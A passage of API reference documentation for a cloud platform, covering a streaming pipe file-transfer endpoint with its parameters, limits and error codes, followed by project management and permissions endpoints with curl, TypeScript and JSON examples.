**Multi-receiver:** When `n > 1`, all receivers get identical copies via lockstep fan-out — each chunk is written to every receiver before the next chunk is read from the sender. Memory is bounded to roughly one chunk per receiver, with no per-receiver queuing. The slowest receiver paces the entire transfer.

**Connection ordering:** The receiver can connect before the sender — the server holds the connection until the sender arrives (up to 5-minute TTL).

**Security headers on response:**
- `X-Robots-Tag: none` — prevents indexing
- `X-Content-Type-Options: nosniff`
- CORS headers reflecting the receiver's Origin

Also accessible without prefix (e.g. `GET /myfile`). Reserved paths (`/help`, `/noscript`, etc.) return their own content on GET instead of acting as pipe receivers.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Pipe path name to receive from — must match the path used by the sender. |
| `n` | query | integer | No | Expected number of receivers. Must match the sender's `n` value exactly — a mismatch returns 400. When `n > 1`, the pipe waits for all `n` receivers and the sender before streaming. Default: `1`. |
| `download` | query | string | No | Control whether the response triggers a browser download. `?download`, `?download=true`, `?download=yes`, `?download=1` force `Content-Disposition: attachment`. `?download=false`, `?download=no`, `?download=0` suppress `Content-Disposition` entirely. Absent — passthrough sender's Content-Disposition as-is. |
| `filename` | query | string | No | Set a custom download filename. Implies `?download` — the response will have `Content-Disposition: attachment; filename="&lt;value&gt;"`. Null bytes, CRLF, path separators, leading dots, and control characters are stripped. Truncated to 255 characters. |
| `video` | query | string | No | Return an HTML page with an embedded MSE (MediaSource Extensions) video player instead of raw pipe data. The player page fetches the raw stream internally — no pipe receiver slot is consumed. Only serves the HTML player when the client sends `Accept: text/html`. Values: `?video`, `?video=true`, `?video=yes`, `?video=1` show the player. `?video=false`, `?video=no`, `?video=0` return a normal pipe receiver. |
| `progress` | query | string | No | Return real-time transfer progress as a Server-Sent Events (SSE) stream or HTML dashboard. Does NOT consume a pipe receiver slot. `Accept: text/event-stream` returns SSE. `Accept: text/html` returns an HTML dashboard. Values: `?progress`, `?progress=true`, `?progress=yes`, `?progress=1` show progress. `?progress=false`, `?progress=no`, `?progress=0` return a normal pipe receiver. |



```bash
curl https://pipe.example.com/api/v1/pipe/mypath
```


```
<streamed data from sender>
```


```
[ERROR] Path '/mypath' is already in use by an active transfer.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SERVICE_WORKER` | Service Worker request blocked | Requests with `Service-Worker: script` header are rejected to prevent service worker registration via pipe paths | Do not register service workers via pipe paths |
| `ACTIVE_TRANSFER` | Path has an active transfer | A transfer is already streaming on this path — no new receivers can join | Wait for the transfer to complete, or use a different path |
| `RECEIVER_SLOTS_FULL` | All receiver slots taken | All `n` receiver slots for this path are occupied | Wait for a receiver to disconnect, or use a different path |
| `INVALID_N` | Invalid receiver count | `n` is not a valid positive integer (1–256) | Set `n` between 1 and 256 |
| `N_MISMATCH` | Receiver count mismatch | This receiver's `n` doesn't match existing sender/receivers on this path | Use the same `n` value as the sender |


```
[ERROR] Method DELETE is not allowed. Use GET, POST, or PUT.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `METHOD_NOT_ALLOWED` | HTTP method not supported | Pipe paths accept GET, POST, PUT, OPTIONS only | Use GET to receive data |


```
[ERROR] Timed out waiting for sender.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TTL_EXPIRED` | Pipe TTL expired | Waited 5 minutes but counterpart didn't connect. Pipe evicted. | Retry — ensure sender and receiver connect within 5 minutes |


```
[ERROR] Path too long (max 1024 characters).
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PATH_TOO_LONG` | Path exceeds length limit | Path exceeds 1024 characters | Use a shorter path |


```
[ERROR] Too many pending transfers. Try again later.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOO_MANY_PENDING` | Pending transfer limit reached | Server has 1000 pending pipes | Wait and retry |
| `TOO_MANY_ACTIVE` | Active transfer limit reached | Server has 1000 active transfers — pipe established but cannot stream | Wait for transfers to finish, then retry |



```js
const stream = await client.pipe.receive({ path: "mypath" });
```

---

### `POST /api/v1/pipe/{path}`

Send data to the specified pipe path. The sender's request body is streamed directly to receiver(s) when they connect — no server-side storage.

**Lifecycle:**
1. Sender POSTs to a path — gets back a streaming response with `[INFO]` status messages
2. Server waits for `n` receivers to connect (default: 1)
3. Once all receivers connect, data streams from sender to all receivers simultaneously
4. Sender receives `[INFO] Upload complete.` then `[INFO] Transfer complete.`

**Status messages** (streamed to sender as text/plain):
```
[INFO] Waiting for 1 receiver(s) to connect...
[INFO] Streaming to 1 receiver(s)...
[INFO] Upload complete.
[INFO] Transfer complete.
```

**Multipart uploads:** When Content-Type matches `multipart/form-data`, the server extracts the first *file* part (non-file form fields are drained and skipped) and streams its contents. The part's Content-Type and Content-Disposition are forwarded to receivers. **Content-Length is NOT forwarded for multipart inputs** — the response uses chunked transfer encoding.

**Custom headers:** Set `X-Hoody-Pipe` or `X-Piping` request headers to forward arbitrary metadata to receivers. Each header is capped at 8 KiB (over-cap headers are dropped) and CRLF/control chars are stripped. The receiver response carries `Access-Control-Expose-Headers: X-Piping, X-Hoody-Pipe` only when at least one was supplied.

**Content-Type safety:** Dangerous MIME types that execute scripts in browsers (text/html, image/svg+xml, application/javascript, XHTML/XML, etc.) are rewritten to `text/plain`. Parameters are stripped except for a single safe charset.

**Connection ordering:** Either sender or receiver(s) can connect first — the server holds the early party until counterparts arrive.

**Limits:**
- Path length: max 1024 characters
- Receiver count (`n`): 1–256
- Pending transfers: max 1000 server-wide
- Active transfers: max 1000 server-wide
- Unestablished pipe TTL: 5 minutes

Also accessible without prefix (e.g. `POST /myfile`).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Unique pipe path name. Must not be a reserved path (`/`, `/help`, `/noscript`, `/favicon.ico`, `/robots.txt`). |
| `n` | query | integer | No | Number of receivers to wait for before starting the transfer. All receivers get identical copies of the data (fan-out). Must be a positive integer, max 256. Default: `1`. |

### Request Body

Data to stream to receiver(s). Any content type is accepted.

- **Binary files:** Use `application/octet-stream` or the file's actual MIME type
- **Text:** Use `text/plain`
- **Multipart:** Use `multipart/form-data` for browser uploads — only the first file part is streamed; leading non-file form fields are drained and skipped
- **No body:** An empty POST is valid — receivers get an empty response



```bash
curl -T myfile.png https://pipe.example.com/api/v1/pipe/secret.png
```


```
[INFO] Waiting for 1 receiver(s) to connect...
[INFO] Streaming to 1 receiver(s)...
[INFO] Upload complete.
[INFO] Transfer complete.
```


```
[ERROR] '/help' is a reserved path. Use a custom path like '/myfile' or '/transfer123'.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESERVED_PATH` | Path is reserved | The requested path is a system-reserved path (`/`, `/help`, `/noscript`, etc.) | Choose a different path that is not reserved |
| `DUPLICATE_SENDER` | Path already has a sender | Another sender is already connected to this path waiting for receivers | Use a different path, or wait for the existing transfer to complete |
| `ACTIVE_TRANSFER` | Path has an active transfer | The path is currently in use by a streaming transfer | Wait for the current transfer to finish, or use a different path |
| `INVALID_N` | Invalid receiver count | The `n` query parameter is not a valid positive integer, or exceeds max 256 | Set `n` to a positive integer between 1 and 256 |
| `N_MISMATCH` | Receiver count mismatch | Sender's `n` doesn't match existing receivers' `n` on this path | Use the same `n` value as the receivers |
| `CONTENT_RANGE` | Content-Range not supported | Content-Range headers are not supported for streaming transfers | Send the complete file without range headers |


```
[ERROR] Method DELETE is not allowed. Use GET, POST, or PUT.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `METHOD_NOT_ALLOWED` | HTTP method not supported | Pipe paths accept GET (receive), POST/PUT (send), and OPTIONS (CORS preflight). HEAD is supported on reserved paths only. | Use GET to receive data, POST or PUT to send data |


```
[ERROR] Path too long (max 1024 characters).
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PATH_TOO_LONG` | Path exceeds length limit | The pipe path exceeds the maximum length of 1024 characters | Use a shorter path name |


```
[ERROR] Too many pending transfers. Try again later.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOO_MANY_PENDING` | Pending transfer limit reached | Server has 1000 unestablished pipes. New transfers rejected until existing ones complete or expire (5-min TTL). | Wait for transfers to complete or expire, then retry |
| `TOO_MANY_ACTIVE` | Active transfer limit reached | Server has 1000 concurrent active transfers | Wait for active transfers to finish, then retry |



```js
await client.pipe.send({
  path: "secret.png",
  body: fileBuffer
});
```

---

### `PUT /api/v1/pipe/{path}`

Identical to POST — send data to the specified pipe path. PUT is provided as an alias because `curl -T file URL` uses PUT, making it natural for file transfers.

```bash
# Send a file (uses PUT)
curl -T myfile https://pipe.example.com/api/v1/pipe/mypath

# Send stdin
echo 'hello' | curl -T - https://pipe.example.com/api/v1/pipe/mypath

# Send a directory as tar.gz
tar czf - ./mydir | curl -T - https://pipe.example.com/api/v1/pipe/mydir.tar.gz
```

All parameters, request body handling, status messages, and error codes are identical to POST.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Unique pipe path name (same rules as POST — no reserved paths, max 1024 chars). |
| `n` | query | integer | No | Number of receivers to wait for (must match receivers' `n`, max 256). Default: `1`. |

### Request Body

Data to stream — any content type. Multipart/form-data supported (first file part extracted; non-file fields are skipped).



```bash
curl -T myfile https://pipe.example.com/api/v1/pipe/mypath
```


```
[INFO] Waiting for 1 receiver(s) to connect...
[INFO] Streaming to 1 receiver(s)...
[INFO] Upload complete.
[INFO] Transfer complete.
```


```
[ERROR] Path '/mypath' already has a sender connected.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESERVED_PATH` | Path is reserved | The requested path is a system-reserved path | Choose a different path |
| `DUPLICATE_SENDER` | Path already has a sender | Another sender is already connected | Use a different path or wait |
| `INVALID_N` | Invalid receiver count | `n` is not a valid positive integer (1–256) | Set `n` to a positive integer between 1 and 256 |
| `CONTENT_RANGE` | Content-Range not supported | Content-Range headers are not supported | Send the complete file |


```
[ERROR] Method DELETE is not allowed. Use GET, POST, or PUT.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `METHOD_NOT_ALLOWED` | HTTP method not supported | Pipe paths accept GET, POST, PUT, OPTIONS only | Use GET to receive, POST or PUT to send |


```
[ERROR] Path too long (max 1024 characters).
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PATH_TOO_LONG` | Path exceeds length limit | Path exceeds 1024 characters | Use a shorter path |


```
[ERROR] Too many pending transfers. Try again later.
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOO_MANY_PENDING` | Pending transfer limit reached | Server has 1000 pending pipes | Wait and retry |



```js
await client.pipe.send({
  path: "mypath",
  method: "PUT",
  body: fileBuffer
});
```

---

### `OPTIONS /api/v1/pipe/{path}`

Handles CORS preflight requests for cross-origin browser access. Returns permissive CORS headers reflecting the request Origin.

**Headers returned:**
- `Access-Control-Allow-Origin` — reflects Origin (or `*` if none/null)
- `Access-Control-Allow-Methods` — `GET, POST, PUT, OPTIONS` (HEAD is supported same-origin on reserved paths only)
- `Access-Control-Allow-Headers` — `Content-Type, Content-Disposition, Authorization, X-Piping, X-Hoody-Pipe`
- `Access-Control-Allow-Credentials` — `true` (when Origin present and not "null")
- `Access-Control-Max-Age` — `86400` (24 hours)
- `Access-Control-Allow-Private-Network` — `true` (when requested)


The `"null"` origin string is rejected — it defaults to `*` which blocks credentialed requests from sandboxed iframes.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Any path — OPTIONS is handled identically for all paths. |



```bash
curl -X OPTIONS https://pipe.example.com/api/v1/pipe/mypath \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -i
```


```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS
Access-Control-Allow-Headers: Content-Type, Content-Disposition, Authorization, X-Piping, X-Hoody-Pipe
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
```



```js
await client.pipe.corsPreflight({ path: "mypath" });
```

---

# Projects

**Page:** api/projects

[Download Raw Markdown](./api/projects.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Projects let you organize containers, networks, and other resources into logical groups with optional quotas, shared configurations, and multi-user access control. This page covers project CRUD, per-user permission management, and aggregated container statistics.


A default project is auto-provisioned for every user at signup. Project aliases must be unique within an account, and projects can belong to multiple realms for multi-tenant isolation.


## Project lifecycle

### `GET /api/v1/projects/`

List all projects you own or have been granted access to, with pagination and sorting.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `page` | query | number | No | Page number (1-based). Default: `1` |
| `limit` | query | number | No | Items per page (max 100). Default: `10` |
| `sort_by` | query | string | No | Field to sort by. Allowed: `id`, `alias`, `created_at`, `updated_at`. Default: `"created_at"` |
| `sort_order` | query | string | No | Sort direction. Allowed: `asc`, `desc`. Default: `"desc"` |
| `realm_id` | query | string | No | Filter by realm ID. Only returns projects that belong to this realm. Alternative to using a realm subdomain in the URL. |



```bash
curl -X GET "https://api.hoody.icu/api/v1/projects/?page=1&limit=10&sort_by=created_at&sort_order=desc" \
  -H "Authorization: Bearer <token>"
```


```ts
const page = await client.api.projects.listIterator({
  page: 1,
  limit: 10,
  sort_by: "created_at",
  sort_order: "desc",
});
```


```json
{
  "statusCode": 200,
  "message": "Projects retrieved successfully",
  "data": {
    "projects": [
      {
        "id": "507f1f77bcf86cd799439011",
        "user_id": "507f1f77bcf86cd799439022",
        "alias": "Production Environment",
        "color": "#3B82F6",
        "created_at": "2025-01-10T08:00:00.000Z",
        "updated_at": "2025-01-15T10:30:00.000Z",
        "max_containers": 50
      },
      {
        "id": "507f1f77bcf86cd799439033",
        "user_id": "507f1f77bcf86cd799439022",
        "alias": "Development",
        "color": "#10B981",
        "created_at": "2025-01-05T12:00:00.000Z",
        "updated_at": "2025-01-05T12:00:00.000Z",
        "max_containers": null
      }
    ],
    "pagination": {
      "total": 3,
      "page": 1,
      "limit": 10,
      "totalPages": 1
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid parameter value"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_PARAMETER_VALUE` | Invalid parameter value | A parameter value is outside the allowed range or format | Ensure parameter values meet the documented constraints (min/max, format, regex) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |



### `POST /api/v1/projects/`

Create a new project to organize and manage your containers, networks, and resources.

This endpoint takes no parameters.

#### Request body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `alias` | string | Yes | Human-readable project name (1–100 characters). Must be unique across your projects (e.g., `"Production"`, `"Development"`, `"Client-ABC"`). |
| `color` | string | No | HEX color code for visual organization. Accepts 3-digit (`#RGB`) or 6-digit (`#RRGGBB`) formats. The `#` prefix is auto-added if missing, and the value is auto-normalized to uppercase. If omitted, a random color is generated. |
| `max_containers` | number \| null | No | Maximum number of containers allowed in this project. Set to `null` for unlimited. Enforced during container creation. |
| `realm_ids` | string[] | No | Realm IDs to assign this project to. If invoked from a realm subdomain, the subdomain realm is automatically included and merged with any explicitly provided `realm_ids`. |



```bash
curl -X POST "https://api.hoody.icu/api/v1/projects/" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "Production Environment",
    "color": "#EF4444",
    "max_containers": 100
  }'
```


```ts
const project = await client.api.projects.create({
  alias: "Production Environment",
  color: "#EF4444",
  max_containers: 100,
});
```


```json
{
  "statusCode": 201,
  "message": "Project created successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "user_id": "507f1f77bcf86cd799439022",
    "alias": "Production Environment",
    "color": "#3B82F6",
    "created_at": "2025-01-10T08:00:00.000Z",
    "updated_at": "2025-01-10T08:00:00.000Z",
    "max_containers": 50,
    "realm_ids": []
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |
| `INVALID_ALIAS_FORMAT` | Invalid alias format | Project alias must be between 1–100 characters | Provide a valid alias following the format requirements: 1–100 characters |
| `INVALID_COLOR_FORMAT` | Invalid color format | Color must be a valid HEX color code (3 or 6 digits) | Provide a valid HEX color like `#RGB` or `#RRGGBB` (e.g., `#F00` or `#FF0000`) |
| `INVALID_QUOTA_VALUE` | Invalid quota value | Quota values must be non-negative numbers or null | Provide a valid quota value (0 or higher) or `null` for unlimited |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Project alias already exists"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DUPLICATE_ALIAS` | Project alias already exists | The provided project alias is already in use by another project in your account | Choose a different, unique project alias |



### `GET /api/v1/projects/{id}`

Retrieve detailed information about a specific project, including the project owner, quotas, and (optionally) all users who have been granted access.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `include_permissions` | query | boolean | No | Include project permissions with user details in response. Default: `false` |



```bash
curl -X GET "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011?include_permissions=true" \
  -H "Authorization: Bearer <token>"
```


```ts
const project = await client.api.projects.get({
  id: "507f1f77bcf86cd799439011",
  include_permissions: true,
});
```


```json
{
  "statusCode": 200,
  "message": "Project retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "user_id": "507f1f77bcf86cd799439022",
    "alias": "Production Environment",
    "color": "#3B82F6",
    "created_at": "2025-01-10T08:00:00.000Z",
    "updated_at": "2025-01-15T10:30:00.000Z",
    "max_containers": 50,
    "permissions": [
      {
        "id": "507f1f77bcf86cd799439033",
        "project_id": "507f1f77bcf86cd799439011",
        "user_id": "507f1f77bcf86cd799439044",
        "permission_level": "read",
        "created_at": "2025-01-12T14:00:00.000Z",
        "updated_at": "2025-01-12T14:00:00.000Z",
        "user": {
          "id": "507f1f77bcf86cd799439044",
          "username": "jane_smith",
          "alias": "Jane Smith"
        }
      }
    ]
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `INVALID_PARAMETER_VALUE` | Invalid parameter value | A parameter value is outside the allowed range or format | Ensure parameter values meet the documented constraints (min/max, format, regex) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The requested project does not exist or has been deleted | Verify the project ID is correct and that you have access to this project |



### `PATCH /api/v1/projects/{id}`

Update a project's alias, color, or realm membership. Only the fields you send are modified. You must be the project owner or have `edit` permission.


Only unrestricted tokens and admin users can modify `realm_ids`; realm-restricted tokens cannot change realm membership. When updating from a realm subdomain, the subdomain realm is automatically preserved and merged.


#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Project ID to update |

#### Request body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `alias` | string | Yes | New project name (1–100 characters). Must be unique across your projects. |
| `color` | string | No | New HEX color code. Auto-normalized to uppercase with `#` prefix. |
| `realm_ids` | string[] | No | Updated realm membership for this project. |



```bash
curl -X PATCH "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "Production v2",
    "color": "#10B981"
  }'
```


```ts
const updated = await client.api.projects.update({
  id: "507f1f77bcf86cd799439011",
  alias: "Production v2",
  color: "#10B981",
});
```


```json
{
  "statusCode": 200,
  "message": "Project updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "user_id": "507f1f77bcf86cd799439022",
    "alias": "Production Environment Updated",
    "color": "#EF4444",
    "created_at": "2025-01-10T08:00:00.000Z",
    "updated_at": "2025-01-15T14:45:00.000Z",
    "max_containers": 50
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `INVALID_ALIAS_FORMAT` | Invalid alias format | Project alias must be between 1–100 characters | Provide a valid alias following the format requirements: 1–100 characters |
| `INVALID_COLOR_FORMAT` | Invalid color format | Color must be a valid HEX color code (3 or 6 digits) | Provide a valid HEX color like `#RGB` or `#RRGGBB` (e.g., `#F00` or `#FF0000`) |
| `INVALID_QUOTA_VALUE` | Invalid quota value | Quota values must be non-negative numbers or null | Provide a valid quota value (0 or higher) or `null` for unlimited |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The requested project does not exist or has been deleted | Verify the project ID is correct and that you have access to this project |


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Project alias already exists"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DUPLICATE_ALIAS` | Project alias already exists | The provided project alias is already in use by another project in your account | Choose a different, unique project alias |



### `DELETE /api/v1/projects/{id}`

Permanently delete a project and all associated resources. You must be the project owner or have `delete` permission.


This action cannot be undone. If the request cannot be fully completed, the project remains available so you can safely retry. If the project still contains active containers, the API returns `422 PROJECT_HAS_CONTAINERS` — delete the containers first, then retry.


#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Project ID to delete |
| `include_deleted_items` | query | boolean | No | Include a lightweight list of deleted container IDs and names in the response for confirmation UX. Default: `false` |



```bash
curl -X DELETE "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011?include_deleted_items=true" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.api.projects.delete({
  id: "507f1f77bcf86cd799439011",
  include_deleted_items: true,
});
```


```json
{
  "statusCode": 200,
  "message": "Project deleted successfully",
  "data": {
    "deleted": {
      "containers": 2,
      "permissions": 1,
      "aliases": 3
    },
    "deleted_items": {
      "containers": [
        {
          "id": "507f1f77bcf86cd799439011",
          "name": "web-app"
        },
        {
          "id": "507f1f77bcf86cd799439012",
          "name": "worker"
        }
      ]
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The requested project does not exist or has been deleted | Verify the project ID is correct and that you have access to this project |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Resource already exists"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESOURCE_ALREADY_EXISTS` | Resource already exists | A resource with this identifier already exists | Use a different identifier or update the existing resource instead |


```json
{
  "statusCode": 422,
  "error": "Unprocessable Entity",
  "message": "Project contains active containers"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_HAS_CONTAINERS` | Project has active containers | Cannot delete project because it contains active containers | Delete all containers in this project first, then try again |



## Permissions

Each project supports three permission levels: `read` (view only), `edit` (modify resources), and `delete` (destroy the project). The project owner always has full access; additional users can be granted access through the endpoints below.

### `GET /api/v1/projects/{id}/permissions`

List all users who have been granted access to this project, with their permission levels.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `page` | query | number | No | Page number (1-based) |
| `limit` | query | number | No | Items per page (max 100) |
| `sort_by` | query | string | No | Field to sort by. Allowed: `id`, `user_id`, `permission_level`, `created_at`, `updated_at` |
| `sort_order` | query | string | No | Sort direction. Allowed: `asc`, `desc` |



```bash
curl -X GET "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011/permissions?page=1&limit=10" \
  -H "Authorization: Bearer <token>"
```


```ts
const page = await client.api.projects.listPermissionsIterator({
  id: "507f1f77bcf86cd799439011",
  page: 1,
  limit: 10,
});
```


```json
{
  "statusCode": 200,
  "message": "Project permissions retrieved successfully",
  "data": {
    "permissions": [
      {
        "id": "507f1f77bcf86cd799439033",
        "project_id": "507f1f77bcf86cd799439011",
        "user_id": "507f1f77bcf86cd799439044",
        "permission_level": "read",
        "created_at": "2025-01-12T14:00:00.000Z",
        "updated_at": "2025-01-12T14:00:00.000Z",
        "user": {
          "id": "507f1f77bcf86cd799439044",
          "username": "jane_smith",
          "alias": "Jane Smith"
        }
      },
      {
        "id": "507f1f77bcf86cd799439055",
        "project_id": "507f1f77bcf86cd799439011",
        "user_id": "507f1f77bcf86cd799439066",
        "permission_level": "edit",
        "created_at": "2025-01-13T09:30:00.000Z",
        "updated_at": "2025-01-14T16:20:00.000Z",
        "user": {
          "id": "507f1f77bcf86cd799439066",
          "username": "bob_jones",
          "alias": "Bob Jones"
        }
      }
    ],
    "pagination": {
      "total": 2,
      "page": 1,
      "limit": 10,
      "totalPages": 1
    }
